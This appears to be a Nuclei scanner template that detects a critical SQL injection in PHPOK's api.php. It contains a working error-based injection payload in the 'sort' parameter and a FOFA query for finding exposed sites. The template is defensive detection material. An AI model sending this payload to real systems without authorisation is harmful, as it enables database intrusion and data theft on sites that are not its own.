36 lines
1.2 KiB
YAML
36 lines
1.2 KiB
YAML
id: phpok-sqli
|
|
|
|
info:
|
|
name: PHPOK - SQL Injection
|
|
author: ritikchaddha
|
|
severity: critical
|
|
description: PHPOK contains a SQL injection vulnerability via a GET request. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
|
|
reference:
|
|
- https://cve.report/software/phpok/phpok
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10
|
|
cwe-id: CWE-89
|
|
cpe: cpe:2.3:a:phpok:phpok:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
fofa-query: app="phpok"
|
|
product: phpok
|
|
vendor: phpok
|
|
tags: phpok,sqli
|
|
variables:
|
|
num: "999999999"
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/api.php?c=project&f=index&token=1234&id=news&sort=1 and extractvalue(1,concat(0x7e,md5({{num}}))) --+'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{{md5({{num}})}}'
|
|
# digest: 4a0a00473045022100f8be6c82f073e6b3c9505826685617d85352e47f841efe618e85b434740fbd950220200f81dcaf0fac88a35ea9694d123903fee08863d018415c3b45b314b7b402b9:922c64590222798bb761d5b6d8e72950 |